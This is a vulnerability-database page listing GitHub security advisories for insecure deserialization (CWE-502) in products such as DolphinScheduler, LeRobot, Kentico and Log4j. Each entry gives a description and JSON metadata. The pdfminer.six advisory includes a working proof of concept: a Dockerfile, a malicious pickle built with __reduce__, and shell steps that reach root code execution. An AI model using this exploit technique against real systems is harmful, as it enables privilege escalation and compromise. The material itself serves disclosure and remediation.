Common Weakness Enumeration

CWE-502

Allowed

Deserialization of Untrusted Data

Abstraction: Base · Status: Draft

The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.

4819 vulnerabilities reference this CWE, most recent first.

GHSA-F765-52VQ-524G

Vulnerability from github – Published: 2025-01-15 00:30 – Updated: 2025-02-03 18:30
VLAI
Details

MSFM before 2025.01.01 was discovered to contain a fastjson deserialization vulnerability via the component system/table/addField.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-57763"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-15T00:15:34Z",
    "severity": "CRITICAL"
  },
  "details": "MSFM before 2025.01.01 was discovered to contain a fastjson deserialization vulnerability via the component system/table/addField.",
  "id": "GHSA-f765-52vq-524g",
  "modified": "2025-02-03T18:30:39Z",
  "published": "2025-01-15T00:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57763"
    },
    {
      "type": "WEB",
      "url": "https://gitee.com/wanglingxiao/mysiteforme/issues/IBFVFD"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F786-9C63-8XR8

Vulnerability from github – Published: 2026-04-24 12:30 – Updated: 2026-05-05 00:06
VLAI
Summary
Apache DolphinScheduler RPC module has a Deserialization of Untrusted Data vulnerability
Details

Deserialization of Untrusted Data vulnerability in Apache DolphinScheduler RPC module.

This issue affects Apache DolphinScheduler: 

Version >= 3.2.0 and < 3.3.1.

Attackers who can access the Master or Worker nodes can compromise the system by creating a StandardRpcRequest, injecting a malicious class type into it, and sending RPC requests to the DolphinScheduler Master/Worker nodes. Users are recommended to upgrade to version [3.3.1], which fixes the issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.dolphinscheduler:dolphinscheduler"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "fixed": "3.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.dolphinscheduler:dolphinscheduler-rpc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "fixed": "3.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62233"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T00:06:35Z",
    "nvd_published_at": "2026-04-24T11:16:21Z",
    "severity": "MODERATE"
  },
  "details": "Deserialization of Untrusted Data vulnerability in Apache DolphinScheduler RPC module.\n\nThis issue affects Apache DolphinScheduler:\u00a0\n\nVersion \u003e= 3.2.0 and \u003c 3.3.1.\n\nAttackers who can access the Master or Worker nodes can compromise the system by creating a StandardRpcRequest, injecting a malicious class type into it, and sending RPC requests to the DolphinScheduler Master/Worker nodes.\nUsers are recommended to upgrade to version [3.3.1], which fixes the issue.",
  "id": "GHSA-f786-9c63-8xr8",
  "modified": "2026-05-05T00:06:35Z",
  "published": "2026-04-24T12:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62233"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/dolphinscheduler"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/79s80h51r4z5d4l2xs5xy364rmmo1bw0"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/04/24/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache DolphinScheduler RPC module has a Deserialization of Untrusted Data vulnerability"
}

GHSA-F79R-3FCG-P98X

Vulnerability from github – Published: 2026-07-01 00:34 – Updated: 2026-07-01 00:34
VLAI
Details

picklescan before 0.0.29 fails to detect the built-in python profile.Profile.run function when used in pickle reduce methods, allowing attackers to execute arbitrary code. Remote attackers can craft malicious pickle files that bypass picklescan detection and achieve code execution upon deserialization.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-71374"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-30T23:16:51Z",
    "severity": "HIGH"
  },
  "details": "picklescan before 0.0.29 fails to detect the built-in python profile.Profile.run function when used in pickle reduce methods, allowing attackers to execute arbitrary code. Remote attackers can craft malicious pickle files that bypass picklescan detection and achieve code execution upon deserialization.",
  "id": "GHSA-f79r-3fcg-p98x",
  "modified": "2026-07-01T00:34:02Z",
  "published": "2026-07-01T00:34:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-x696-vm39-cp64"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71374"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-undetected-profile-profile-run"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-F7G9-GQXR-PMV7

Vulnerability from github – Published: 2024-12-12 03:33 – Updated: 2024-12-12 03:33
VLAI
Details

GFI Archiver Core Service Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GFI Archiver. Authentication is required to exploit this vulnerability.

The specific flaw exists within the Core Service, which listens on TCP port 8017 by default. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Was ZDI-CAN-24029.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-11947"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-12T01:40:21Z",
    "severity": "HIGH"
  },
  "details": "GFI Archiver Core Service Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GFI Archiver. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the Core Service, which listens on TCP port 8017 by default. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Was ZDI-CAN-24029.",
  "id": "GHSA-f7g9-gqxr-pmv7",
  "modified": "2024-12-12T03:33:02Z",
  "published": "2024-12-12T03:33:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11947"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-24-1670"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F7VH-QWP3-X37M

Vulnerability from github – Published: 2022-01-19 00:01 – Updated: 2022-11-25 17:19
VLAI
Summary
Deserialization of Untrusted Data in Apache Log4j
Details

CVE-2020-9493 identified a deserialization issue that was present in Apache Chainsaw. Prior to Chainsaw V2.0 Chainsaw was a component of Apache Log4j 1.2.x where the same issue exists.

Users are advised to migrate from log4j:log4j to org.apache.logging.log4j:log4j for an updated version of the library.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "log4j:log4j"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.2.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.zenframework.z8.dependencies.commons:log4j-1.2.17"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-23307"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-06-20T22:48:35Z",
    "nvd_published_at": "2022-01-18T16:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "CVE-2020-9493 identified a deserialization issue that was present in Apache Chainsaw. Prior to Chainsaw V2.0 Chainsaw was a component of Apache Log4j 1.2.x where the same issue exists.\n\nUsers are advised to migrate from `log4j:log4j` to `org.apache.logging.log4j:log4j` for an updated version of the library.",
  "id": "GHSA-f7vh-qwp3-x37m",
  "modified": "2022-11-25T17:19:49Z",
  "published": "2022-01-19T00:01:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23307"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/rg4yyc89vs3dw6kpy3r92xop9loywyhh"
    },
    {
      "type": "WEB",
      "url": "https://logging.apache.org/log4j/1.2/index.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2022.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Deserialization of Untrusted Data in Apache Log4j"
}

GHSA-F7VJ-73PM-M822

Vulnerability from github – Published: 2026-04-23 21:31 – Updated: 2026-04-28 21:36
VLAI
Details

LeRobot contains an unsafe deserialization vulnerability in the async inference pipeline where pickle.loads() is used to deserialize data received over unauthenticated gRPC channels without TLS in the policy server and robot client components. An unauthenticated network-reachable attacker can achieve arbitrary code execution on the server or client by sending a crafted pickle payload through the SendPolicyInstructions, SendObservations, or GetActions gRPC calls.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-25874"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-23T20:16:13Z",
    "severity": "CRITICAL"
  },
  "details": "LeRobot contains an unsafe deserialization vulnerability in the async inference pipeline where pickle.loads() is used to deserialize data received over unauthenticated gRPC channels without TLS in the policy server and robot client components. An unauthenticated network-reachable attacker can achieve arbitrary code execution on the server or client by sending a crafted pickle payload through the SendPolicyInstructions, SendObservations, or GetActions gRPC calls.",
  "id": "GHSA-f7vj-73pm-m822",
  "modified": "2026-04-28T21:36:01Z",
  "published": "2026-04-23T21:31:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25874"
    },
    {
      "type": "WEB",
      "url": "https://github.com/huggingface/lerobot/issues/3047"
    },
    {
      "type": "WEB",
      "url": "https://github.com/huggingface/lerobot/issues/3134"
    },
    {
      "type": "WEB",
      "url": "https://github.com/huggingface/lerobot/pull/3048"
    },
    {
      "type": "WEB",
      "url": "https://chocapikk.com/posts/2026/lerobot-pickle-rce"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/lerobot-unsafe-deserialization-remote-code-execution-via-grpc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-F7W4-79F7-FHP3

Vulnerability from github – Published: 2022-05-13 01:27 – Updated: 2025-10-22 00:31
VLAI
Details

An issue was discovered in Kentico 12.0.x before 12.0.15, 11.0.x before 11.0.48, 10.0.x before 10.0.52, and 9.x versions. Due to a failure to validate security headers, it was possible for a specially crafted request to the staging service to bypass the initial authentication and proceed to deserialize user-controlled .NET object input. This deserialization then led to unauthenticated remote code execution on the server where the Kentico instance was hosted.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-10068"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-03-26T18:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in Kentico 12.0.x before 12.0.15, 11.0.x before 11.0.48, 10.0.x before 10.0.52, and 9.x versions. Due to a failure to validate security headers, it was possible for a specially crafted request to the staging service to bypass the initial authentication and proceed to deserialize user-controlled .NET object input. This deserialization then led to unauthenticated remote code execution on the server where the Kentico instance was hosted.",
  "id": "GHSA-f7w4-79f7-fhp3",
  "modified": "2025-10-22T00:31:37Z",
  "published": "2022-05-13T01:27:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10068"
    },
    {
      "type": "WEB",
      "url": "https://devnet.kentico.com/download/hotfixes#securityBugs-v12"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-10068"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/157588/Kentico-CMS-12.0.14-Remote-Command-Execution.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F83H-GHPP-7WCC

Vulnerability from github – Published: 2025-11-07 23:17 – Updated: 2026-02-04 16:49
VLAI
Summary
Insecure Deserialization (pickle) in pdfminer.six CMap Loader — Local Privesc
Details

🚀 Overview

This report demonstrates a real-world privilege escalation vulnerability in pdfminer.six due to unsafe usage of Python's pickle module for CMap file loading. It shows how a low-privileged user can gain root access (or escalate to any service account) by exploiting insecure deserialization in a typical multi-user or server environment.

line

🚨 Special Note

This advisory addresses a distinct vulnerability from GHSA-wf5f-4jwr-ppcp (CVE-2025-64512).

While the previous CVE claims to mitigate issues related to unsafe deserialization, the patch introduced in commit b808ee05dd7f0c8ea8ec34bdf394d40e63501086 does not address the vulnerability reported here.

Based on testing performed against the latest version of the library (comparison view), the issue remains exploitable through local privilege escalation due to continued unsafe use of pickle files. The Dockerfile is hence modified to run test against this claim.

This demonstrates that the patch for CVE-2025-64512 is incomplete: the vulnerability remains exploitable. This advisory therefore documents a distinct, independently fixable flaw. A correct remediation must remove the dependency on pickle files (or otherwise eliminate unsafe deserialization) and replace it with a safe, auditable data-handling approach so the library can operate normally without relying on pickle

📚 Table of Contents


🔍 Background

pdfminer.six is a popular Python library for extracting text and information from PDF files. It supports CJK (Chinese, Japanese, Korean) fonts via external CMap files, which it loads from disk using Python's pickle module.

🐍 Security Issue: If the CMap search path (CMAP_PATH or default directories) includes a world-writable or user-writable directory, an attacker can place a malicious .pickle.gz file that will be loaded and deserialized by pdfminer.six, leading to arbitrary code execution.


🐍 Vulnerability Description

  • Component: pdfminer.six CMap loading (pdfminer/cmapdb.py)
  • Issue: Loads and deserializes .pickle.gz files using Python’s pickle module, which is unsafe for untrusted data.
  • Exploitability: If a low-privileged user can write to any directory in CMAP_PATH, they can execute code as the user running pdfminer—potentially root or a privileged service.
  • Impact: Full code execution as the service user, privilege escalation from user to root, persistence, and potential lateral movement.

line

🎭 Demo Scenario

Environment: - 🐧 Alpine Linux (Docker container) - 👨‍💻 Two users: - user1 (attacker: low-privilege) - root (victim: runs privileged PDF-processing script) - 🗂️ Shared writable directory: /tmp/uploads - 🛣️ CMAP_PATH set to /tmp/uploads for the privileged script - 📦 pdfminer.six installed system-wide

Attack Flow: 1. 🕵️‍♂️ user1 creates a malicious CMap file (Evil.pickle.gz) in /tmp/uploads. 2. 👑 The privileged service (root) processes a PDF or calls get_cmap("Evil"). 3. 💣 The malicious pickle is deserialized, running arbitrary code as root. 4. 🎯 The exploit creates a flag file in /root/pwnedByPdfminer as proof.

line

🧨 Technical Details

  • Vulnerability Type: Insecure deserialization of untrusted data using Python's pickle
  • Attack Prerequisites: Attacker can write to a directory included in CMAP_PATH
  • Vulnerable Line: python return type(str(name), (), pickle.loads(gzfile.read())) In pdfminer/cmapdb.py's _load_data method
  • https://github.com/pdfminer/pdfminer.six/blob/20250506/pdfminer/cmapdb.py#L246
  • Proof of Concept: See createEvilPickle.py, evilmod.py, and processPdf.py

Exploit Chain: - Attacker places a malicious .pickle.gz file in the CMap search path. - Privileged process (e.g., root) loads a CMap, triggering pickle deserialization. - Arbitrary code executes with the privilege of the process (root/service account).

line

🔧 Setup and Usage

📁 Files

</> Dockerfile

FROM python:3.11-alpine

ARG PM_COMMIT=b808ee05dd7f0c8ea8ec34bdf394d40e63501086

# Install git and build tooling
RUN apk add --no-cache git build-base

WORKDIR /opt

# Clone pdfminer.six and check out the specific commit, then install from source
RUN git clone https://github.com/pdfminer/pdfminer.six.git && \
    cd pdfminer.six && \
    git fetch --all && \
    git checkout ${PM_COMMIT} && \
    pip install --no-cache-dir -e .

# App working directory for PoC
WORKDIR /app

# Create low-privilege user and uploads dir
RUN adduser -D user1 && \
    mkdir -p /tmp/uploads && \
    chown user1:user1 /tmp/uploads && \
    chmod 1777 /tmp/uploads

# Copy PoC files
COPY evilmod.py /app/evilmod.py
COPY createEvilPickle.py /app/createEvilPickle.py
COPY processPDF.py /app/processPDF.py

ENV CMAP_PATH=/tmp/uploads
ENV PYTHONUNBUFFERED=1

# Keep the container running in background so you can exec into it anytime.
CMD ["tail", "-f", "/dev/null"]

</> evilmod.py

import os

def evilFunc():
    with open("/root/pwnedByPdfminer", "w") as f:
        f.write("ROOTED by pdfminer pickle RCE\n")
    return {"CODE2CID": {}, "IS_VERTICAL": False}

</> createEvilPickle.py

import pickle
import gzip
from evilmod import evilFunc

class Evil:
    def __reduce__(self):
        return (evilFunc, ())

payload = pickle.dumps(Evil())
with gzip.open("/tmp/uploads/Evil.pickle.gz", "wb") as f:
    f.write(payload)

print("Malicious pickle created at /tmp/uploads/Evil.pickle.gz")

</> processPDF.py

import os
from pdfminer.cmapdb import CMapDB

os.environ["CMAP_PATH"] = "/tmp/uploads"

CMapDB.get_cmap("Evil")

print("CMap loaded. If vulnerable, /root/pwnedByPdfminer will be created.")

line

1️⃣ Build and start the demo container

docker build -t pdfminer-priv-esc-demo .
docker run --rm -it --name pdfminer-demo pdfminer-priv-esc-democ

2️⃣ In the container, open two shells in parallel (or switch users in one):

🕵️‍♂️ Shell 1 (Attacker: user1)

su user1
cd /app
python createEvilPickle.py
# ✅ Confirms: /tmp/uploads/Evil.pickle.gz is created and owned by user1

👑 Shell 2 (Victim: root)

cd /app
python processPdf.py
# 🎯 Output: If vulnerable, /root/pwnedByPdfminer will be created

3️⃣ Proof of escalation

cat /root/pwnedByPdfminer
# 🏴 Output: ROOTED by pdfminer pickle RCE

proof-of-exploit

line

📝 Step-by-step Walkthrough

  1. user1 uses createEvilPickle.py to craft and place a malicious CMap pickle in a shared upload directory.
  2. The root user runs a typical PDF-processing script, which loads CMap files from that directory.
  3. The exploit triggers, running arbitrary code as root.
  4. The attacker now has proof of code execution as root (and, in a real attack, could escalate further).

line

🛡️ Security Standards & References

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pdfminer.six"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "20251230"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-70559"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-07T23:17:05Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### \ud83d\ude80 Overview\n\nThis report **demonstrates a real-world privilege escalation** vulnerability in [pdfminer.six](https://github.com/pdfminer/pdfminer.six) due to unsafe usage of Python\u0027s `pickle` module for CMap file loading.\nIt shows how a low-privileged user can gain root access (or escalate to any service account) by exploiting insecure deserialization in a typical multi-user or server environment.\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## \ud83d\udea8 Special Note\n\nThis advisory addresses a distinct vulnerability from [GHSA-wf5f-4jwr-ppcp (CVE-2025-64512)](https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp).\n\nWhile the previous CVE claims to mitigate issues related to unsafe deserialization, the patch introduced in commit [b808ee05dd7f0c8ea8ec34bdf394d40e63501086](https://github.com/pdfminer/pdfminer.six/commit/b808ee05dd7f0c8ea8ec34bdf394d40e63501086) does not address the vulnerability reported here.\n\nBased on testing performed against the latest version of the library ([comparison view](https://github.com/pdfminer/pdfminer.six/compare/20250506...20251107)), the issue remains exploitable through local privilege escalation due to continued unsafe use of pickle files. The **Dockerfile** is hence modified to run test against this claim.\n\nThis demonstrates that the patch for **CVE-2025-64512** is incomplete: the vulnerability remains exploitable. This advisory therefore documents a distinct, independently fixable flaw. A correct remediation must remove the dependency on pickle files (or otherwise eliminate unsafe deserialization) and replace it with a safe, auditable data-handling approach so the library can operate normally without relying on ```pickle```\n\n## \ud83d\udcda Table of Contents\n\n- [\ud83d\udd0d Background](#-background)\n- [\ud83d\udc0d Vulnerability Description](#-vulnerability-description)\n- [\ud83c\udfad Demo Scenario](#-demo-scenario)\n- [\ud83e\udde8 Technical Details](#-technical-details)\n- [\ud83d\udd27 Setup and Usage](#-setup-and-usage)\n- [\ud83d\udcdd Step-by-step Walkthrough](#-step-by-step-walkthrough)\n- [\ud83d\udee1\ufe0f Security Standards \u0026 References](#-security-standards--references)\n---\n\n## \ud83d\udd0d Background\n\n**pdfminer.six** is a popular Python library for extracting text and information from PDF files. It supports CJK (Chinese, Japanese, Korean) fonts via external CMap files, which it loads from disk using Python\u0027s `pickle` module.\n\n\u003e \ud83d\udc0d **Security Issue:**\n\u003e If the CMap search path (`CMAP_PATH` or default directories) includes a world-writable or user-writable directory, an attacker can place a malicious `.pickle.gz` file that will be loaded and deserialized by pdfminer.six, leading to arbitrary code execution.\n\n---\n\n### \ud83d\udc0d Vulnerability Description\n\n- **Component:** pdfminer.six CMap loading (`pdfminer/cmapdb.py`)\n- **Issue:** Loads and deserializes `.pickle.gz` files using Python\u2019s `pickle` module, which is unsafe for untrusted data.\n- **Exploitability:** If a low-privileged user can write to any directory in `CMAP_PATH`, they can execute code as the user running pdfminer\u2014potentially root or a privileged service.\n- **Impact:** Full code execution as the service user, privilege escalation from user to root, persistence, and potential lateral movement.\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n### \ud83c\udfad Demo Scenario\n\n**Environment:**\n- \ud83d\udc27 Alpine Linux (Docker container)\n- \ud83d\udc68\u200d\ud83d\udcbb Two users:\n  - `user1` (attacker: low-privilege)\n  - `root` (victim: runs privileged PDF-processing script)\n- \ud83d\uddc2\ufe0f Shared writable directory: `/tmp/uploads`\n- \ud83d\udee3\ufe0f `CMAP_PATH` set to `/tmp/uploads` for the privileged script\n- \ud83d\udce6 pdfminer.six installed system-wide\n\n**Attack Flow:**\n1. \ud83d\udd75\ufe0f\u200d\u2642\ufe0f `user1` creates a malicious CMap file (`Evil.pickle.gz`) in `/tmp/uploads`.\n2. \ud83d\udc51 The privileged service (`root`) processes a PDF or calls `get_cmap(\"Evil\")`.\n3. \ud83d\udca3 The malicious pickle is deserialized, running arbitrary code as root.\n4. \ud83c\udfaf The exploit creates a flag file in `/root/pwnedByPdfminer` as proof.\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n### \ud83e\udde8 Technical Details\n\n- **Vulnerability Type:** Insecure deserialization of untrusted data using Python\u0027s `pickle`\n- **Attack Prerequisites:** Attacker can write to a directory included in `CMAP_PATH`\n- **Vulnerable Line:**\n  ```python\n  return type(str(name), (), pickle.loads(gzfile.read()))\n  ```\n  *In `pdfminer/cmapdb.py`\u0027s `_load_data` method*\n- https://github.com/pdfminer/pdfminer.six/blob/20250506/pdfminer/cmapdb.py#L246\n- **Proof of Concept:** See `createEvilPickle.py`, `evilmod.py`, and `processPdf.py`\n\n**Exploit Chain:**\n- Attacker places a malicious `.pickle.gz` file in the CMap search path.\n- Privileged process (e.g., root) loads a CMap, triggering pickle deserialization.\n- Arbitrary code executes with the privilege of the process (root/service account).\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## \ud83d\udd27 Setup and Usage\n\n### \ud83d\udcc1 Files\n#### \u003c/\u003e Dockerfile\n```yml\nFROM python:3.11-alpine\n\nARG PM_COMMIT=b808ee05dd7f0c8ea8ec34bdf394d40e63501086\n\n# Install git and build tooling\nRUN apk add --no-cache git build-base\n\nWORKDIR /opt\n\n# Clone pdfminer.six and check out the specific commit, then install from source\nRUN git clone https://github.com/pdfminer/pdfminer.six.git \u0026\u0026 \\\n    cd pdfminer.six \u0026\u0026 \\\n    git fetch --all \u0026\u0026 \\\n    git checkout ${PM_COMMIT} \u0026\u0026 \\\n    pip install --no-cache-dir -e .\n\n# App working directory for PoC\nWORKDIR /app\n\n# Create low-privilege user and uploads dir\nRUN adduser -D user1 \u0026\u0026 \\\n    mkdir -p /tmp/uploads \u0026\u0026 \\\n    chown user1:user1 /tmp/uploads \u0026\u0026 \\\n    chmod 1777 /tmp/uploads\n\n# Copy PoC files\nCOPY evilmod.py /app/evilmod.py\nCOPY createEvilPickle.py /app/createEvilPickle.py\nCOPY processPDF.py /app/processPDF.py\n\nENV CMAP_PATH=/tmp/uploads\nENV PYTHONUNBUFFERED=1\n\n# Keep the container running in background so you can exec into it anytime.\nCMD [\"tail\", \"-f\", \"/dev/null\"]\n\n```\n\n#### \u003c/\u003e evilmod.py\n```python\nimport os\n\ndef evilFunc():\n    with open(\"/root/pwnedByPdfminer\", \"w\") as f:\n        f.write(\"ROOTED by pdfminer pickle RCE\\n\")\n    return {\"CODE2CID\": {}, \"IS_VERTICAL\": False}\n```\n#### \u003c/\u003e createEvilPickle.py\n```python\nimport pickle\nimport gzip\nfrom evilmod import evilFunc\n\nclass Evil:\n    def __reduce__(self):\n        return (evilFunc, ())\n\npayload = pickle.dumps(Evil())\nwith gzip.open(\"/tmp/uploads/Evil.pickle.gz\", \"wb\") as f:\n    f.write(payload)\n\nprint(\"Malicious pickle created at /tmp/uploads/Evil.pickle.gz\")\n```\n#### \u003c/\u003e processPDF.py\n```python\nimport os\nfrom pdfminer.cmapdb import CMapDB\n\nos.environ[\"CMAP_PATH\"] = \"/tmp/uploads\"\n\nCMapDB.get_cmap(\"Evil\")\n\nprint(\"CMap loaded. If vulnerable, /root/pwnedByPdfminer will be created.\")\n```\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n### 1\ufe0f\u20e3 Build and start the demo container\n\n```bash\ndocker build -t pdfminer-priv-esc-demo .\ndocker run --rm -it --name pdfminer-demo pdfminer-priv-esc-democ\n```\n\n### 2\ufe0f\u20e3 In the container, open two shells in parallel (or switch users in one):\n\n#### \ud83d\udd75\ufe0f\u200d\u2642\ufe0f Shell 1 (Attacker: user1)\n```bash\nsu user1\ncd /app\npython createEvilPickle.py\n# \u2705 Confirms: /tmp/uploads/Evil.pickle.gz is created and owned by user1\n```\n\n#### \ud83d\udc51 Shell 2 (Victim: root)\n```bash\ncd /app\npython processPdf.py\n# \ud83c\udfaf Output: If vulnerable, /root/pwnedByPdfminer will be created\n```\n\n### 3\ufe0f\u20e3 Proof of escalation\n\n```bash\ncat /root/pwnedByPdfminer\n# \ud83c\udff4 Output: ROOTED by pdfminer pickle RCE\n```\n\n\u003cimg width=\"815\" height=\"889\" alt=\"proof-of-exploit\" src=\"https://github.com/user-attachments/assets/f465d17c-a3af-49c5-9dbc-eec9635b36fc\" /\u003e\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## \ud83d\udcdd Step-by-step Walkthrough\n\n1. **user1** uses `createEvilPickle.py` to craft and place a malicious CMap pickle in a shared upload directory.\n2. The **root** user runs a typical PDF-processing script, which loads CMap files from that directory.\n3. The exploit triggers, running arbitrary code as root.\n4. The attacker now has proof of code execution as root (and, in a real attack, could escalate further).\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## \ud83d\udee1\ufe0f Security Standards \u0026 References\n\n- **CVSS (Common 